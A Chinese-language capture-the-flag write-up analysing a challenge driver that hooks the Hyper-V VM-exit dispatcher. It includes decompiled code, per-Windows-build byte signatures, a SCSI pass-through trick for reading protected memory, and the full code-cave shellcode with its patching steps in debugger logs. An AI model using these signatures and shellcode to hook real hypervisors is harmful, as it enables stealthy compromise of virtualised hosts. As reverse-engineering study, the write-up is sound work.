decode_hidden_log_string_ex(&unk_141D102F0, word_140021A82);// decode_hidden_log_string_ex("hypercharge::FindVMExitHandler")
decode_hidden_log_string_v2(&unk_141D10188, &word_140021706);// decode_hidden_log_string_v2("failed to alloc mmeory for read buffer.\r\n")
log_decoded_hypercharge_message(&unk_141D0FFEC, &unk_141D0FF30, &unk_141D102F0, 808, &unk_141D10188);// log_decoded_hypercharge_message(..., line=808, message="failed to alloc mmeory for read buffer.\r\n")
return 0xC000009A;
}
然后 MmGetPhysicalMemoryRanges 拿到一个物理内存区间表,要保证 BaseAddress 为 0
range = (MmGetPhysicalMemoryRanges)();
if ( !range->BaseAddress )
goto LABEL_158;
MmGetPhysicalMemoryRanges返回一个PPHYSICAL_MEMORY_RANGE,结构体定义如下typedef struct _PHYSICAL_MEMORY_RANGE { PHYSICAL_ADDRESS BaseAddress; // 物理地址的起始位置 LARGE_INTEGER NumberOfBytes; // 该范围的字节数 } PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;
遍历 range,拿到当前页边界,把当前页 copy 到 scratch page,开始筛 0xFF,跟前面一样的,对这样的 candidate 做映射,然后拿到它的真实内容
while ( 1 )
{
CurrentAddress = v42 + _range_1->BaseAddress;
MmCopyMemory = g_pMmCopyMemory;
...
CurrentPage = CurrentAddress & 0xFFFFFFFFFFFFF000uLL;
if ( (MmCopyMemory)(_allocated_memory_2, CurrentPage, 0x1000, 1, v237) < 0 )
goto LABEL_38;
v59 = -8;
do
{
if ( *&_allocated_memory_2[v59 + 8] != 0xFFFFFFFFFFFFFFFFuLL )
goto LABEL_38;
v59 += 8LL;
}
...
mapped_va = (MmMapIoSpace)(CurrentPage, 4096, 0);// Map the candidate page so it can be validated and, if it passes, scanned in-place.
if ( !mapped_va )
goto LABEL_38;
_mapped_va = mapped_va;
if ( scsi_xfer_1_page(_allocated_memory_2, mapped_va) >= 0 )
break; // Only if scsi_xfer_1_page succeeds does the scanner trust this page as a candidate 'real content' page for signature matching.
...
这一步之后开始对 scratch 做模式匹配,说明这个物理页面直接 copy 的话读到的是全 0xFF,但映射到虚拟内存并经过
scsi_xfer_1_page之后复制到 scratch 的是包含特征码的真实内容。这表明这个物理页面是隐藏/受保护的页面
匹配特征码#
首先会检查 CPU 为 Intel 或 AMD,如果两个都不是会急
AMD 路径#
- bytes: E8 ?? ?? ?? ?? 48 89 04 24 E9
- mask: x????xxxxx
Intel 路径#
一样先区 Build Number,然后进入 InitIntelBuildPatternDescriptor(140018260) 拿到对应系统版本的特征码。可以看到只有 Win11 22621 这条分支加密了,其它特征码都是明文,后面可以直接用
本机特征码 65 C6 04 25 6D ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? E8 ?? ?? ?? ?? E9
// Initialize a PATTERN_DESCRIPTOR for Intel systems based on NtBuildNumber. The packed qword at +0x48 stores Length in the low 32 bits and MatchOffset in the high 32 bits.
// 按 NtBuildNumber 选择 Intel 版 VmExit dispatcher 特征描述器;低32位=pattern长度,高32位=命中后再偏移到目标 call 的 MatchOffset。
PATTERN_DESCRIPTOR *__fastcall InitIntelBuildPatternDescriptor(
PATTERN_DESCRIPTOR *outPattern,
unsigned __int64 ntBuildNumber)
{
__int64 v4; // rax
__int64 v5; // r15
*&outPattern->Mask[56] = 0;
*&outPattern->Mask[40] = 0;
*&outPattern->Mask[24] = 0;
*&outPattern->Mask[8] = 0;
*&outPattern->Bytes = 0;
if ( ntBuildNumber < 0x585D ) // Build 22621 is the main split: newer Intel builds use the decrypted Win11 pattern, older builds use legacy per-build signatures.
{ // Build 19041 is the next split between the 2004+ Intel pattern and the older 17763/17134/10586/10240 patterns.
if ( ntBuildNumber < 0x4A61 )
{
if ( ntBuildNumber >= 0x4563 )
{
outPattern->Bytes = g_Win10_17763PatternBytes;
*&outPattern->Length = 0x1300000019LL; // Packed descriptor field: Length=0x19, MatchOffset=0x13.
qmemcpy(outPattern->Mask, "xxxx?xxx????xxxxxx?x????", 24);
goto LABEL_11;
}
if ( ntBuildNumber < 0x42EE )
{
if ( ntBuildNumber < 0x295A )
{
if ( ntBuildNumber < 0x2800 )
return outPattern;
outPattern->Bytes = g_Win10_10240PatternBytes;
*&outPattern->Length = 0x1300000019LL;
qmemcpy(outPattern->Mask, "xxxxxxxxxxxxxxx????x", 20);
goto LABEL_8;
}
outPattern->Bytes = g_Win10_10586PatternBytes;
*&outPattern->Length = 0x1300000019LL;
qmemcpy(outPattern->Mask, "xx????x?xx????xxxx", 18);
}
else
{
outPattern->Bytes = g_Win10_17134PatternBytes;
*&outPattern->Length = 0x1300000019LL;
qmemcpy(outPattern->Mask, "xxxxxxx?xx????xxxx", 18);
}
}
else
{
outPattern->Bytes = g_Win10_19041PatternBytes;
*&outPattern->Length = 0x1300000019LL;
qmemcpy(outPattern->Mask, "xxxxxxxxxxxxx?xxxx", 18);
}
*&outPattern->Mask[18] = 'x?';
LABEL_8:
*&outPattern->Mask[20] = '????';
LABEL_11:
outPattern->Mask[24] = 'x';
return outPattern;
}
outPattern->Bytes = g_Win11_22621PatternBytes;
*&outPattern->Length = 0x170000001DLL; // Packed descriptor field: Length=0x1D, MatchOffset=0x17.
v4 = 0;
do
{
v5 = v4;
DecodeWin11PatternBytesOnce(byte_141D10224, &g_EncodedWin11PatternMask);// Decode the obfuscated Win11 mask once, then copy it into outPattern->Mask.
outPattern->Mask[v5] = byte_141D10224[v5];
v4 = v5 + 1;
}
while ( v5 != 28 );
outPattern->Mask[29] = 0;
return outPattern;
}
后面是特征码匹配算法,就是线性扫描,Mask[i] == ‘x’ 时要求字节严格相等,Mask[i] == ‘?’ 时跳过
没匹配到有日志
decode_hidden_string_len6_alt(&unk_141D0FF68, byte_1400211E9);// decode_hidden_string_len6_alt("error")
decode_hidden_string_len51(&unk_141D0FF30, &dword_14002117C);// decode_hidden_string_len51("D:\\UGit\\HyperCharge2\\src\\kernelsys\\hypercharge.cpp")
decode_hidden_log_string_ex(&unk_141D102F0, word_140021A82);// decode_hidden_log_string_ex("hypercharge::FindVMExitHandler")
decode_hidden_log_string_len14(&unk_141D101D8, word_1400217BA);// decode_hidden_log_string_len14("no any sig.\r\n")
log_decoded_hypercharge_message(&unk_141D0FF68, &unk_141D0FF30, &unk_141D102F0, 867, &unk_141D101D8);// log_decoded_hypercharge_message(..., line=867, message="no any sig.\r\n")
manual_map_pe_image#
- 地址:
0x14000E630
拷贝 PE,断点下到这里就能取到 shellcode
校验 PE 结构,失败输出日志
后面就是节拷贝,拷贝失败会输出做题的时候看到的日志
do
{
v17 = v14;
v78 = v12;
v18 = 5 * v12;
v19 = *(v72 + 40 * v12 + 16);
if ( v19 )
memmove_sse2_overlap_safe(*a2 + *(v72 + 8 * v18 + 12), (v79 + *(v72 + 8 * v18 + 20)), v19);
v20 = (v72 + 8 * v18);
decode_hidden_section_name_pdpt_len3(&word_141D10018, word_1400213E2);// decode_hidden_section_name_pdpt_len3(".3")
if ( *v20 == word_141D10018 )
{
v21 = *(v72 + 8 * v18 + 12);
*(&(*a2)[255].m128_u64[1] + v21) = v13 & 0xFFFFFFFFFF000LL
| *(&(*a2)[255].m128_u64[1] + v21) & 0xFFF0000000000FF8uLL
| 3;
v17 = a4 + *(v72 + 8 * v18 + 12);
decode_hidden_log_level_debug_string_len6(&unk_141D0FFEC, &byte_14002135F);// decode_hidden_log_level_debug_string_len6("debug")
decode_hidden_source_path_string_len51(&unk_141D0FF30, &dword_14002117C);// decode_hidden_source_path_string_len51("D:\\UGit\\HyperCharge2\\src\\kernelsys\\hypercharge.cpp")
decode_hidden_log_scope_prepare_payload_string_len28(&unk_141D102A0, qword_1400219E8);// decode_hidden_log_scope_prepare_payload_string_len28("hypercharge::PreparePayload")
decode_hidden_log_pdpt_physaddr_string_len68(&unk_141D10020, &dword_140021414);// decode_hidden_log_pdpt_physaddr_string_len68("Section .3 (pdpt) physical address at %p, pointing to physical %p\r\n")
log_Hypercharge_Q_v3(&unk_141D0FFEC, &unk_141D0FF30, &unk_141D102A0, 499, &unk_141D10020, v17, v13);// Formatted log: [debug] hypercharge::PreparePayload @ D:\\UGit\\HyperCharge2\\src\\kernelsys\\hypercharge.cpp:499 -> "Section .3 (pdpt) physical address at %p, pointing to physical %p\r\n"
}
decode_hidden_section_name_pd_len3(&word_141D10068, byte_14002148B);// decode_hidden_section_name_pd_len3(".2")
build_vmexit_hook_shellcode#
14000FC40
整个题目最核心的攻击逻辑就在这里。匹配到特征码位置后从特征码处开始搜索 0xCC 代码洞,填入 payload,payload 主要做页表映射的操作。patch vmexit dispatcher 跳转到代码洞之后 cpuid 触发 vmexit,跑完 payload 之后将代码洞恢复,再 patch vmexit dispatcher 跳转到密码校验逻辑
调试记录#
函数入口处断下来,可以拿到:
- rcx = FFFFE281A15A43DF:patch_site,从这里可以拿
hvxi64.exe代码中本来要跳转的地址original_target - 第二个参数就是 patch_site 的页边界,用于辅助计算和一些校验
- r8 = FFFFE281880C0000,驱动分配的 scratch 页面,作为 vmexit 页面的副本,传给 scsi_xfer_1_page 做校验
- r9 = 420000:用于写入占位符
0xCAFEBABEDEADBEEF,.3 节, PDPT 页,对应 .data 段在 41C000 - [rsp+28] = 4080:payload_slot_offset,pyaload.sys 中的
140004080,在 .data 段,分析可得到全局变量语义是原始 vmexit dispatcher 的槽位 - [rsp+30] = 1720:payload_entry_rva,payload.sys 中的
140001720 vmexit_cpuid_backdoor_handler
patch_site 不仅是 0xcc 代码洞的位置,其实也是 vmexit dispatcher 的位置,看附近的代码可以发现
262 行这个位置替换了占位符 0xCAFEBABEDEADBEEF,在对应的地方断下来步过,发现 420000 被写入了
6: kd> u ffffda04`706030b0
ffffda04`706030b0 50 push rax
ffffda04`706030b1 53 push rbx
ffffda04`706030b2 48bb00e0dfbf7fffffff mov rbx,0FFFFFF7FBFDFE000h
ffffda04`706030bc 48b80000420000000000 mov rax,420000h
ffffda04`706030c6 4883c803 or rax,3
ffffda04`706030ca 48898320030000 mov qword ptr [rbx+320h],rax
ffffda04`706030d1 0f20db mov rbx,cr3
ffffda04`706030d4 0f22db mov cr3,rbx
类似地,另外两个占位符在如图所示位置 patch
patch 后长这个样子,8A0 恰好是 original_target 的页偏移,下面的是 vmexit handler 指针在 payload.sys 中的偏移
ffffda04`706030f0 4805a038fdff add rax,0FFFFFFFFFFFD38A0h
ffffda04`706030f6 4881c380400000 add rbx,4080h
完整 payload
6: kd> u ffffda04`706030b0 L15
ffffda04`706030b0 50 push rax
ffffda04`706030b1 53 push rbx
ffffda04`706030b2 48bb00e0dfbf7fffffff mov rbx,0FFFFFF7FBFDFE000h
ffffda04`706030bc 48b80000420000000000 mov rax,420000h
ffffda04`706030c6 4883c803 or rax,3
ffffda04`706030ca 48898320030000 mov qword ptr [rbx+320h],rax
ffffda04`706030d1 0f20db mov rbx,cr3
ffffda04`706030d4 0f22db mov cr3,rbx
ffffda04`706030d7 48bb0000e0ff7f320000 mov rbx,327FFFE00000h
ffffda04`706030e1 488b03 mov rax,qword ptr [rbx]
ffffda04`706030e4 e800000000 call ffffda04`706030e9
ffffda04`706030e9 58 pop rax
ffffda04`706030ea 482500f0ffff and rax,0FFFFFFFFFFFFF000h
ffffda04`706030f0 4805a038fdff add rax,0FFFFFFFFFFFD38A0h
ffffda04`706030f6 4881c380400000 add rbx,4080h
ffffda04`706030fd 488903 mov qword ptr [rbx],rax
ffffda04`70603100 5b pop rbx
ffffda04`70603101 58 pop rax
真正将 payload 写入代码洞的位置在这里,对应地址 1400111E5
追加了一句 call 和一句 jmp
现在的状况:payload 写入代码洞,vmexit dispatcher 还没有被 patch
6: kd> db ffffe281`a15a4406
ffffe281`a15a4406 50 53 48 bb 00 e0 df bf-7f ff ff ff 48 b8 00 00 PSH.........H...
ffffe281`a15a4416 42 00 00 00 00 00 48 83-c8 03 48 89 83 20 03 00 B.....H...H.. ..
ffffe281`a15a4426 00 0f 20 db 0f 22 db 48-bb 00 00 e0 ff 7f 32 00 .. ..".H......2.
ffffe281`a15a4436 00 48 8b 03 e8 00 00 00-00 58 48 25 00 f0 ff ff .H.......XH%....
ffffe281`a15a4446 48 05 a0 38 fd ff 48 81-c3 80 40 00 00 48 89 03 H..8..H...@..H..
ffffe281`a15a4456 5b 58 e8 43 34 fd ff e9-82 ff ff ff cc cc cc cc [X.C4...........
ffffe281`a15a4466 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4476 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
6: kd> u FFFFE281A15A43DF
ffffe281`a15a43df e8bc34fdff call ffffe281`a15778a0
ffffe281`a15a43e4 e957fdffff jmp ffffe281`a15a4140
ffffe281`a15a43e9 740d je ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff jmp ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff jmp ffffe281`a15a4313
ffffe281`a15a4405 cc int 3
接下来开始 patch vmexit dispatcher,首先是将原本的 call 改成 jmp(1400118B4),然后把目标 ffffe281`a15778a0 改成 ffffe281`a15a4406(1400118DD)。这里跳转目标就是代码洞内的 payload
之后又将这次修改回滚(140011349),因为此时这段 payload 已经跑完。那么不难想到在此之前一定调用了一次 cpuid 来跑这段 payload
4: kd> u ffffe281`a15a43df
ffffe281`a15a43df e922000000 jmp ffffe281`a15a4406
ffffe281`a15a43e4 e957fdffff jmp ffffe281`a15a4140
ffffe281`a15a43e9 740d je ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff jmp ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff jmp ffffe281`a15a4313
ffffe281`a15a4405 cc int 3
4: kd> p
srztLao5dQ+0x1134b:
fffff808`efff134b 0fb68c2484000000 movzx ecx,byte ptr [rsp+84h]
4: kd> u ffffe281`a15a43df
ffffe281`a15a43df e8bc34fd00 call ffffe281`a25778a0
ffffe281`a15a43e4 e957fdffff jmp ffffe281`a15a4140
ffffe281`a15a43e9 740d je ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff jmp ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff jmp ffffe281`a15a4313
ffffe281`a15a4405 cc int 3
4: kd> p
srztLao5dQ+0x11353:
fffff808`efff1353 884804 mov byte ptr [rax+4],cl
4: kd> p
srztLao5dQ+0x11356:
fffff808`efff1356 488b05f3dccd01 mov rax,qword ptr [srztLao5dQ+0x1cef050 (fffff808`f1ccf050)]
4: kd> u ffffe281`a15a43df
ffffe281`a15a43df e8bc34fdff call ffffe281`a15778a0
ffffe281`a15a43e4 e957fdffff jmp ffffe281`a15a4140
ffffe281`a15a43e9 740d je ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff jmp ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff jmp ffffe281`a15a4313
ffffe281`a15a4405 cc int 3
接下来将代码洞中的 0x52 字节恢复成 0xcc(保留了后面加的 call 和 jmp)
7: kd> db FFFFE281A15A4406
ffffe281`a15a4406 50 53 48 bb 00 e0 df bf-7f ff ff ff 48 b8 00 00 PSH.........H...
ffffe281`a15a4416 42 00 00 00 00 00 48 83-c8 03 48 89 83 20 03 00 B.....H...H.. ..
ffffe281`a15a4426 00 0f 20 db 0f 22 db 48-bb 00 00 e0 ff 7f 32 00 .. ..".H......2.
ffffe281`a15a4436 00 48 8b 03 e8 00 00 00-00 58 48 25 00 f0 ff ff .H.......XH%....
ffffe281`a15a4446 48 05 a0 38 fd ff 48 81-c3 80 40 00 00 48 89 03 H..8..H...@..H..
ffffe281`a15a4456 5b 58 e8 43 34 fd ff e9-82 ff ff ff cc cc cc cc [X.C4...........
ffffe281`a15a4466 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4476 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
7: kd> p
srztLao5dQ+0x12343:
fffff808`efff2343 488b8424e0000000 mov rax,qword ptr [rsp+0E0h]
7: kd> db FFFFE281A15A4406
ffffe281`a15a4406 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4416 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4426 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4436 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4446 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4456 cc cc e8 43 34 fd ff e9-82 ff ff ff cc cc cc cc ...C4...........
ffffe281`a15a4466 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4476 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
上图可以看到之后又在代码洞里进行了一个写,这里是最终写入的核心逻辑的 launcher(call 327FFFE01720)
7: kd> p
srztLao5dQ+0x1234e:
fffff808`efff234e 488b442458 mov rax,qword ptr [rsp+58h]
7: kd> db FFFFE281A15A4406
ffffe281`a15a4406 49 cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc I...............
ffffe281`a15a4416 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4426 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4436 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4446 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4456 cc cc e8 43 34 fd ff e9-82 ff ff ff cc cc cc cc ...C4...........
ffffe281`a15a4466 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4476 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
7: kd> bp srztLao5dQ+123A6
7: kd> g
Breakpoint 12 hit
srztLao5dQ+0x123a6:
fffff808`efff23a6 89480f mov dword ptr [rax+0Fh],ecx
7: kd> bp srztLao5dQ+123A6
breakpoint 12 redefined
7: kd> db FFFFE281A15A4406
ffffe281`a15a4406 49 ba 20 17 e0 ff 7f 32-00 00 41 ff d2 e9 cc cc I. ....2..A.....
ffffe281`a15a4416 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4426 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4436 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4446 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4456 cc cc e8 43 34 fd ff e9-82 ff ff ff cc cc cc cc ...C4...........
ffffe281`a15a4466 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
ffffe281`a15a4476 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
7: kd> u FFFFE281A15A4406
ffffe281`a15a4406 49ba2017e0ff7f320000 mov r10,327FFFE01720h
ffffe281`a15a4410 41ffd2 call r10
ffffe281`a15a4413 e9cccccccc jmp ffffe281`6e2710e4
ffffe281`a15a4418 cc int 3
ffffe281`a15a4419 cc int 3
ffffe281`a15a441a cc int 3
ffffe281`a15a441b cc int 3
ffffe281`a15a441c cc int 3
代码洞最终形态
7: kd> u FFFFE281A15A4406 L50
ffffe281`a15a4406 49ba2017e0ff7f320000 mov r10,327FFFE01720h
ffffe281`a15a4410 41ffd2 call r10
ffffe281`a15a4413 e9ccffffff jmp ffffe281`a15a43e4
ffffe281`a15a4418 cc int 3
ffffe281`a15a4419 cc int 3
ffffe281`a15a441a cc int 3
ffffe281`a15a441b cc int 3
ffffe281`a15a441c cc int 3
ffffe281`a15a441d cc int 3
ffffe281`a15a441e cc int 3
ffffe281`a15a441f cc int 3
ffffe281`a15a4420 cc int 3
ffffe281`a15a4421 cc int 3
ffffe281`a15a4422 cc int 3
ffffe281`a15a4423 cc int 3
ffffe281`a15a4424 cc int 3
ffffe281`a15a4425 cc int 3
ffffe281`a15a4426 cc int 3
ffffe281`a15a4427 cc int 3
ffffe281`a15a4428 cc int 3
ffffe281`a15a4429 cc int 3
ffffe281`a15a442a cc int 3
ffffe281`a15a442b cc int 3
ffffe281`a15a442c cc int 3
ffffe281`a15a442d cc int 3
ffffe281`a15a442e cc int 3
ffffe281`a15a442f cc int 3
ffffe281`a15a4430 cc int 3
ffffe281`a15a4431 cc int 3
ffffe281`a15a4432 cc int 3
ffffe281`a15a4433 cc int 3
ffffe281`a15a4434 cc int 3
ffffe281`a15a4435 cc int 3
ffffe281`a15a4436 cc int 3
ffffe281`a15a4437 cc int 3
ffffe281`a15a4438 cc int 3
ffffe281`a15a4439 cc int 3
ffffe281`a15a443a cc int 3
ffffe281`a15a443b cc int 3
ffffe281`a15a443c cc int 3
ffffe281`a15a443d cc int 3
ffffe281`a15a443e cc int 3
ffffe281`a15a443f cc int 3
ffffe281`a15a4440 cc int 3
ffffe281`a15a4441 cc int 3
ffffe281`a15a4442 cc int 3
ffffe281`a15a4443 cc int 3
ffffe281`a15a4444 cc int 3
ffffe281`a15a4445 cc int 3
ffffe281`a15a4446 cc int 3
ffffe281`a15a4447 cc int 3
ffffe281`a15a4448 cc int 3
ffffe281`a15a4449 cc int 3
ffffe281`a15a444a cc int 3
ffffe281`a15a444b cc int 3
ffffe281`a15a444c cc int 3
ffffe281`a15a444d cc int 3
ffffe281`a15a444e cc int 3
ffffe281`a15a444f cc int 3
ffffe281`a15a4450 cc int 3
ffffe281`a15a4451 cc int 3
ffffe281`a15a4452 cc int 3
ffffe281`a15a4453 cc int 3
ffffe281`a15a4454 cc int 3
ffffe281`a15a4455 cc int 3
ffffe281`a15a4456 cc int 3
ffffe281`a15a4457 cc int 3
ffffe281`a15a4458 e84334fdff call ffffe281`a15778a0
ffffe281`a15a445d e982ffffff jmp ffffe281`a15a43e4
接下来又对 vmexit dispatcher 进行了一模一样的 patch(140011C92)
4: kd> u rax
ffffe281`a15a43df e8bc34fdff call ffffe281`a15778a0
ffffe281`a15a43e4 e957fdffff jmp ffffe281`a15a4140
ffffe281`a15a43e9 740d je ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff jmp ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff jmp ffffe281`a15a4313
ffffe281`a15a4405 cc int 3
4: kd> bp srztLao5dQ+11CA4
4: kd> g
Breakpoint 13 hit
srztLao5dQ+0x11ca4:
fffff808`efff1ca4 8901 mov dword ptr [rcx],eax
4: kd> u ffffe281`a15a43df
ffffe281`a15a43df e9bc34fdff jmp ffffe281`a15778a0
ffffe281`a15a43e4 e957fdffff jmp ffffe281`a15a4140
ffffe281`a15a43e9 740d je ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff jmp ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff jmp ffffe281`a15a4313
ffffe281`a15a4405 cc int 3
4: kd> p
srztLao5dQ+0x11ca6:
fffff808`efff1ca6 488b05a3d3cd01 mov rax,qword ptr [srztLao5dQ+0x1cef050 (fffff808`f1ccf050)]
4: kd> u ffffe281`a15a43df
ffffe281`a15a43df e922000000 jmp ffffe281`a15a4406
ffffe281`a15a43e4 e957fdffff jmp ffffe281`a15a4140
ffffe281`a15a43e9 740d je ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff jmp ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff jmp ffffe281`a15a4313
ffffe281`a15a4405 cc int 3
至此攻击流程一目了然
如果没有上帝视角#
程序混淆很重,还没有怎么研究过 tvm,所以如果漏分析了几个关键函数应该如何推进分析呢?看了 saileaxh 的题解有一点启发:
首先扫特征码定位 hyperv 镜像的逻辑是必须找到的
- .vmem 是虚拟机物理内存,所有痕迹都可以找到,包括 vmexit handler(通过特征码定位)、代码洞、payload.sys 的位置、题目中的自建页表。题目中的日志泄露了自建页表的物理地址,据此也能够找到 payload.sys 的位置。具体地说,先是要定位到 patch 点,然后拿到 0x327FFFE01720 这个目标地址,再用页表计算物理地址。
- .vmem 中扫题目中多次出现的魔数,分别 dump 上下文,交给 ai 分析,应该也能够发现蛛丝马迹,并且魔数本身就在 payload.sys 中出现过
基本概念#
- 将 vhd 用 AttachVirtualDisk 挂载后,会在系统内暴露出一个虚拟磁盘设备,之后可以按 LBA 访问
- Windows 存储栈:上层通常有 partmgr.sys, disk.sys,底层是 vhdmp.sys,为 IRP 传输提供一个可用的设备栈
- SCSI_PASS_THROUGH_DIRECT:Windows 提供的标准 pass-through 方式,调用者构造 CDB、DataBuffer、长度等字段,让存储栈来执行一个 SCSI 命令,比如 READ(10), WRITE(10)
- scsi bounce:hypervisor 利用 EPT 保护 Ring -1 页面,此时需要通过 DMA 访问真实内容
- 为什么需要 ensure_pfn_entry_state_for_scsi_bounce:通过 scsi_sfer_n_4k_pages 的调用场景中,src 是 hypervisor 保护页面由 MmMapIoSpace 映射的结果,这种页面存储栈可能不接受,需要修改 _MMPFN 的 u4 字段(具体来说,修改 PageIdentity 这一位)。但当前版本测试下来不修改它也能正常运行